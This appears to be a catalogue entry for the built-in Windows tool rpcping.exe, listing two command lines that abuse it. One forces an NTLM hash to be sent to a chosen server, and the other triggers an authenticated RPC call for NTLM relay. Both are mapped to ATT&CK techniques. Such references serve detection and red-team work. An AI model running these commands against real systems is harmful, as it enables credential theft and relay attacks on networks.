.. /Rpcping.exe
Used to verify rpc connection
Paths:
- C:\Windows\System32\rpcping.exe
- C:\Windows\SysWOW64\rpcping.exe
Credentials
-
Send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.
rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM
- Use case
- Capture credentials on a non-standard port
- Privileges required
- User
- Operating systems
- Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
- ATT&CK® technique
- T1003
-
Trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign not Set).
rpcping /s 10.0.0.35 /e 9997 /a connect /u NTLM
- Use case
- Relay a NTLM authentication over RPC (ncacn_ip_tcp) on a custom port
- Privileges required
- User
- Operating systems
- Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
- ATT&CK® technique
- T1187